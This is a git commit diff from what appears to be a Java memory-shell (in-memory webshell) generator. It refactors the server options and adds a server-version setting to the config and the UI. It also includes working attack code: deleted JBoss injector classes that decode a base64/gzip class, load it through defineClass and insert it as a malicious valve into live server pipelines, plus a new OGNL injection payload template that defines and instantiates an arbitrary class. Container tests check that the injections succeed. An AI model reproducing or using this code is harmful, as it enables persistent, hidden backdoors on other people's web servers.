refactor: simplify server options

This commit is contained in:
ReaJason
2025-08-13 23:53:40 +08:00
parent 89ee25fd1a
commit d8851ba83e
31 changed files with 171 additions and 508 deletions
@@ -0,0 +1,15 @@
package com.reajason.javaweb;
/**
* @author ReaJason
* @since 2025/7/21
*/
public class GenerationException extends RuntimeException {
public GenerationException(String message) {
super(message);
}
public GenerationException(String message, Throwable cause) {
super(message, cause);
}
}
@@ -27,17 +27,14 @@ public enum Server {
*/
Jetty(new JettyShell()),
/**
* JBoss AS 中间件,JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
* JBoss 中间件,JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
*/
JBossAS(new JbossShell()),
JBossEAP6(new JbossShell()),
JBoss(new JbossShell()),
/**
* Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的
* Undertow,对应是 Wildfly 以及 JBossEAP7,也有可能是 SpringBoot 用的
* <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
*/
Undertow(new UndertowShell()),
JBossEAP7(new UndertowShell()),
WildFly(new UndertowShell()),
/**
* SpringMVC 框架
@@ -68,25 +65,21 @@ public enum Server {
* GlassFish 中间件
*/
GlassFish(new GlassFishShell()),
Payara(new GlassFishShell()),
/**
* 宝兰德中间件
* 宝兰德中间件9.5.2+ 企业版
*/
BES(new BesShell()),
/**
* 东方通中间件
*/
TongWeb6(new TongWeb6Shell()),
TongWeb7(new TongWeb7Shell()),
TongWeb8(new TongWeb8Shell()),
TongWeb(new TongWebShell()),
/**
* 金蝶天燕中间件
* 金蝶天燕中间件only 9
*/
Apusic9(new ApusicShell()),
Apusic10(new GlassFishShell()),
Apusic(new ApusicShell()),
/**
* 中创中间件
@@ -2,12 +2,12 @@ package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import net.bytebuddy.jar.asm.Opcodes;
import org.apache.commons.lang3.StringUtils;
/**
* @author ReaJason
@@ -21,17 +21,23 @@ public class ShellConfig {
/**
* 目标服务类型
*/
Server server;
private Server server;
/**
* 目标服务版本
*/
@Builder.Default
private String serverVersion = "unknown";
/**
* 内存马功能
*/
ShellTool shellTool;
private ShellTool shellTool;
/**
* 内存马类型
*/
String shellType;
private String shellType;
/**
* 生成类的目标 JRE 版本
@@ -63,7 +69,7 @@ public class ShellConfig {
public boolean isJakarta() {
return StringUtils.containsIgnoreCase(shellType, "jakarta");
return shellType.startsWith(ShellType.JAKARTA);
}
public boolean needByPassJavaModule() {
@@ -43,7 +43,7 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
}
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
builder = ValveGenerator.build(builder, shell);
builder = ValveGenerator.build(builder, shell, shellConfig.getServerVersion());
}
if (shellConfig.isJakarta()) {
@@ -1,6 +1,9 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.server.*;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.memshell.server.AbstractShell;
import com.reajason.javaweb.memshell.server.BesShell;
import com.reajason.javaweb.memshell.server.TongWebShell;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.field.FieldDescription;
import net.bytebuddy.description.field.FieldList;
@@ -27,18 +30,21 @@ public class ValveGenerator {
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractShell shell) {
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractShell shell, String serverVersion) {
String packageName = null;
if (shell instanceof TongWeb6Shell) {
if (serverVersion.equals("6")) {
packageName = TONGWEB6_VALVE_PACKAGE;
} else if (shell instanceof TongWeb7Shell) {
} else if (serverVersion.equals("7")) {
packageName = TONGWEB7_VALVE_PACKAGE;
} else if (shell instanceof TongWeb8Shell) {
} else if (serverVersion.equals("8")) {
packageName = TONGWEB8_VALVE_PACKAGE;
} else if (shell instanceof BesShell) {
packageName = BES_VALVE_PACKAGE;
}
if (StringUtils.isEmpty(packageName)) {
if (shell instanceof TongWebShell) {
throw new GenerationException("serverVersion is needed for TongWeb valve shell, please use 6/7/8 for shellConfig.serverVersion");
}
return builder;
}
return builder.visit(new ValveRenameVisitorWrapper(packageName));
@@ -2,12 +2,10 @@ package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishContextValveAgentInjector;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterChainAgentInjector;
import com.reajason.javaweb.memshell.injector.jboss.JbossProxyValveInjector;
import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatProxyValveInjector;
import static com.reajason.javaweb.memshell.ShellType.*;
@@ -27,8 +25,8 @@ public class JbossShell extends AbstractShell {
return InjectorMapping.builder()
.addInjector(LISTENER, TomcatListenerInjector.class)
.addInjector(FILTER, TomcatFilterInjector.class)
.addInjector(VALVE, JbossValveInjector.class)
.addInjector(PROXY_VALVE, JbossProxyValveInjector.class)
.addInjector(VALVE, GlassFishValveInjector.class)
.addInjector(PROXY_VALVE, TomcatProxyValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, GlassFishFilterChainAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, GlassFishContextValveAgentInjector.class)
.build();
@@ -1,31 +0,0 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.tongweb.*;
import static com.reajason.javaweb.memshell.ShellType.*;
/**
* @author ReaJason
* @since 2024/12/27
*/
public class TongWeb7Shell extends AbstractShell {
@Override
public Class<?> getListenerInterceptor() {
return TomcatShell.ListenerInterceptor.class;
}
@Override
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(LISTENER, TongWebListenerInjector.class)
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
.addInjector(FILTER, TongWebFilterInjector.class)
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
.addInjector(VALVE, TongWebValveInjector.class)
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
.build();
}
}
@@ -1,31 +0,0 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.tongweb.*;
import static com.reajason.javaweb.memshell.ShellType.*;
/**
* @author ReaJason
* @since 2024/12/27
*/
public class TongWeb8Shell extends AbstractShell {
@Override
public Class<?> getListenerInterceptor() {
return TomcatShell.ListenerInterceptor.class;
}
@Override
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(LISTENER, TongWebListenerInjector.class)
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
.addInjector(FILTER, TongWebFilterInjector.class)
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
.addInjector(VALVE, TongWebValveInjector.class)
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
.build();
}
}
@@ -8,7 +8,7 @@ import static com.reajason.javaweb.memshell.ShellType.*;
* @author ReaJason
* @since 2024/12/26
*/
public class TongWeb6Shell extends AbstractShell {
public class TongWebShell extends AbstractShell {
@Override
public Class<?> getListenerInterceptor() {
@@ -19,11 +19,8 @@ public class TongWeb6Shell extends AbstractShell {
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(LISTENER, TongWebListenerInjector.class)
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
.addInjector(FILTER, TongWebFilterInjector.class)
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
.addInjector(VALVE, TongWebValveInjector.class)
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
.build();
@@ -110,8 +110,6 @@ public class CommonUtil {
packageName = "org.eclipse.jetty.servlet.handlers";
break;
case Undertow:
case JBossEAP7:
case WildFly:
packageName = "io.undertow.servlet.handlers";
break;
case SpringWebMvc:
@@ -51,13 +51,9 @@ public class Jboss423ContainerTest {
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() {
Server server = Server.JBossAS;
Server server = Server.JBoss;
List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
ShellType.PROXY_VALVE
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -72,6 +68,6 @@ public class Jboss423ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container, python);
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -50,7 +50,7 @@ public class Jboss510ContainerTest {
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() {
Server server = Server.JBossAS;
Server server = Server.JBoss;
List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER,
ShellType.VALVE,
@@ -74,6 +74,6 @@ public class Jboss510ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container, python);
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -50,7 +50,7 @@ public class Jboss610ContainerTest {
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() {
Server server = Server.JBossAS;
Server server = Server.JBoss;
List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER,
ShellType.VALVE,
@@ -71,6 +71,6 @@ public class Jboss610ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container, python);
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -53,7 +53,7 @@ public class Jboss711ContainerTest {
* 找不到 Templates 类暂时先不测试反序列化
*/
static Stream<Arguments> casesProvider() {
Server server = Server.JBossAS;
Server server = Server.JBoss;
List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER,
ShellType.VALVE,
@@ -74,6 +74,6 @@ public class Jboss711ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_7, packer, container, python);
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_7, packer, container, python);
}
}
@@ -50,7 +50,7 @@ public class JbossEap6ContainerTest {
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() {
Server server = Server.JBossEAP6;
Server server = Server.JBoss;
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
@@ -68,6 +68,6 @@ public class JbossEap6ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.JBossEAP6, shellType, shellTool, Opcodes.V1_6, packer, container, python);
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -50,7 +50,7 @@ public class JbossEap7ContainerTest {
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() {
Server server = Server.JBossEAP7;
Server server = Server.Undertow;
List<String> supportedShellTypes = List.of(
ShellType.FILTER,
ShellType.LISTENER,
@@ -69,6 +69,6 @@ public class JbossEap7ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.JBossEAP7, shellType, shellTool, Opcodes.V1_6, packer, container, python);
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -50,7 +50,7 @@ public class Payara5201ContainerTest {
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() {
Server server = Server.Payara;
Server server = Server.GlassFish;
List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE
@@ -68,6 +68,6 @@ public class Payara5201ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container, python);
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -50,7 +50,7 @@ public class Payara520225ContainerTest {
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() {
Server server = Server.Payara;
Server server = Server.GlassFish;
List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE
@@ -68,6 +68,6 @@ public class Payara520225ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container, python);
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -50,7 +50,7 @@ public class Payara620222ContainerTest {
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() {
Server server = Server.Payara;
Server server = Server.GlassFish;
List<String> supportedShellTypes = List.of(
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE
@@ -68,6 +68,6 @@ public class Payara620222ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V11, packer, container, python);
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V11, packer, container, python);
}
}
@@ -1,208 +0,0 @@
package com.reajason.javaweb.memshell.injector.jboss;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.*;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
*/
public class JbossProxyValveInjector implements InvocationHandler {
private Object rawValve;
private Object proxyValve;
static {
new JbossProxyValveInjector();
}
public JbossProxyValveInjector() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object valve = getShell(context);
inject(context, valve);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public JbossProxyValveInjector(Object rawValve, Object proxyValve) {
this.rawValve = rawValve;
this.proxyValve = proxyValve;
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if ("invoke".equals(method.getName())) {
try {
Object request = args[0];
Object response = args[1];
if (proxyValve.equals(new Object[]{request, response})) {
return null;
}
} catch (Throwable e) {
e.printStackTrace();
return method.invoke(rawValve, args);
}
}
return method.invoke(rawValve, args);
}
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
}
}
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
try {
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
}
}
@SuppressWarnings("all")
public void inject(Object context, Object valve) throws Exception {
Object pipeline = invokeMethod(context, "getPipeline", null, null);
ClassLoader contextClassLoader = context.getClass().getClassLoader();
Class valveClass = contextClassLoader.loadClass("org.apache.catalina.Valve");
Object rawValve = null;
String fieldName = "first";
try {
rawValve = getFieldValue(pipeline, fieldName);
} catch (NoSuchFieldException e) {
fieldName = "basic";
rawValve = getFieldValue(pipeline, fieldName);
}
Object proxyValve = Proxy.newProxyInstance(contextClassLoader, new Class[]{valveClass}, new JbossProxyValveInjector(rawValve, valve));
setFieldValue(pipeline, fieldName, proxyValve);
System.out.println("proxyValve inject successful");
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
public static Field getField(Object obj, String name) throws NoSuchFieldException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(name);
}
@SuppressWarnings("all")
public static void setFieldValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = getField(obj, name);
field.set(obj, value);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
Field field = getField(obj, name);
return field.get(obj);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
}
@@ -1,177 +0,0 @@
package com.reajason.javaweb.memshell.injector.jboss;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
*/
public class JbossValveInjector {
static {
new JbossValveInjector();
}
public JbossValveInjector() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object valve = getShell(context);
inject(context, valve);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Collection<?> values = childrenMap.values();
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
}
}
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
try {
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
}
}
@SuppressWarnings("all")
public void inject(Object context, Object valve) throws Exception {
Object pipeline = invokeMethod(context, "getPipeline", null, null);
if (isInjected(pipeline)) {
System.out.println("valve already injected");
return;
}
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
System.out.println("valve injected successfully");
}
@SuppressWarnings("all")
public boolean isInjected(Object pipeline) throws Exception {
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
List<Object> valvesList = Arrays.asList(valves);
for (Object valve : valvesList) {
if (valve.getClass().getName().contains(getClassName())) {
return true;
}
}
return false;
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException();
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
}
@@ -86,9 +86,18 @@ public class TomcatProxyValveInjector implements InvocationHandler {
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = context.getClass().getClassLoader();
ClassLoader classLoader = getWebAppClassLoader(context);
try {
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
@@ -0,0 +1,18 @@
package com.reajason.javaweb.packer.ognl;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
/**
* @author ReaJason
* @since 2025/7/7
*/
public class OGNLSpringUtilsPacker implements Packer {
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}'),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()";
@Override
public String pack(ClassPackerConfig config) {
return template.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", config.getClassBytesBase64Str());
}
}
BIN
View File
Binary file not shown.
+59
View File
@@ -22,6 +22,7 @@ import {
FormFieldLabel,
FormItem,
FormLabel,
FormMessage,
} from "@/components/ui/form.tsx";
import { Label } from "@/components/ui/label.tsx";
import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "@/components/ui/select.tsx";
@@ -47,6 +48,13 @@ const shellToolIcons: Record<ShellToolType, JSX.Element> = {
[ShellToolType.Custom]: <ZapIcon className="h-4 w-4" />,
};
const defaultServerVersionOptions = [
{
name: "Unknown",
value: "unknown",
},
];
export default function MainConfigCard({
mainConfig,
form,
@@ -72,6 +80,8 @@ export default function MainConfigCard({
const shellTool = form.watch("shellTool");
const { t } = useTranslation();
const [serverVersionOptions, setServerVersionOptions] = useState(defaultServerVersionOptions);
// 处理一下 shellTypes 由于 server 或 shellTool 变更时无法正常为 form.shellType 赋值的问题
useEffect(() => {
if (shellTypes.length > 0) {
@@ -110,6 +120,29 @@ export default function MainConfigCard({
} else {
form.resetField("targetJdkVersion");
}
// 特殊的服务需要指定版本
if (value === "TongWeb") {
setServerVersionOptions([
...defaultServerVersionOptions,
{
name: "6",
value: "6",
},
{
name: "7",
value: "7",
},
{
name: "8",
value: "8",
},
]);
} else {
setServerVersionOptions(defaultServerVersionOptions);
}
form.resetField("serverVersion");
form.resetField("bypassJavaModule");
form.resetField("urlPattern");
}
@@ -257,6 +290,32 @@ export default function MainConfigCard({
</FormFieldItem>
)}
/>
<FormField
control={form.control}
name="serverVersion"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>{t("mainConfig.serverVersion")}</FormFieldLabel>
<Select onValueChange={field.onChange} value={field.value}>
<FormControl>
<SelectTrigger>
<SelectValue placeholder={t("placeholders.select")} />
</SelectTrigger>
</FormControl>
<SelectContent>
{serverVersionOptions.map((v) => (
<SelectItem key={v.value} value={v.value}>
{v.name}
</SelectItem>
))}
</SelectContent>
</Select>
<FormMessage />
</FormFieldItem>
)}
/>
</div>
<div className="grid grid-cols-1">
<FormField
control={form.control}
name="targetJdkVersion"
+2
View File
@@ -22,6 +22,7 @@
"mainConfig.injectorClassName": "Injector ClassName",
"mainConfig.jre": "Target JRE Version",
"mainConfig.server": "Target Server",
"mainConfig.serverVersion": "Target Server Version",
"mainConfig.shellClassName": "Shell ClassName",
"mainConfig.shellMountType": "Shell Mount Type",
